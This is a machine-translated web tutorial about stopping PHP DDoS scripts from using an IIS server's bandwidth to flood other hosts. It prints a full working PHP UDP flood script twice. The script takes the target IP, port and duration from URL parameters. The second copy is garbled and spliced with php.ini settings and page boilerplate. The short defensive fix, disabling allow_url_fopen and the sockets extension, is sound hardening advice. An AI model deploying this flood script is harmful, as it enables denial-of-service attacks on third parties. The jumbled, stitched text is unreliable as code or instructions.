Use PHP code to call sockets and directly use the server's network to attack other IPs. I have encountered this problem under Apache before. Today we will talk about how to prevent PHP DDos from occupying network bandwidth and server resources in IIS.
The common code for php ddos is as follows:
The code is as follows 代码如下 | 复制代码 |
$packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time(); print "Flooded: $ip on port $rand
"; $max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; }
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n"; ?>
| |
Copy code |
$packets = 0; $ip = $_GET['ip']; $rand = $_GET['port' ]; set_time_limit(0); ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time(); print "Flooded: $ip on port $rand
代码如下 | 复制代码 | allow_url_fopen = Off | "; $max_time = $time+$exec_time;
for($i=0 ;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time () > $max_time){ break; } 代码如下 | 复制代码 | ;extension=php_sockets.dll |
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5) ; if($fp){ fwrite($fp, $out); fclose($fp); } } echo " Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$ exec_time, 2) . " packets/s n"; ?>
代码如下 | 复制代码 | ; ignore_user_abort = On |
Performance characteristics:
As soon as IIS is turned on, the outflow bandwidth of the server Just use up ----- that is to say, the server keeps sending packets to others. This situation is different from being attacked by DDOS. DDOS keeps receiving a large number of data packets.
Solution:
Set its value in c:windowsphp.ini to Off
The code is as follows | Copy code |
|
allow_url_fopen = Off
and: The code is as follows |
Copy code |
;extension=php_sockets .dll must have the “;” sign in front, which means it is restricted to use sockets.dll and then:
|
|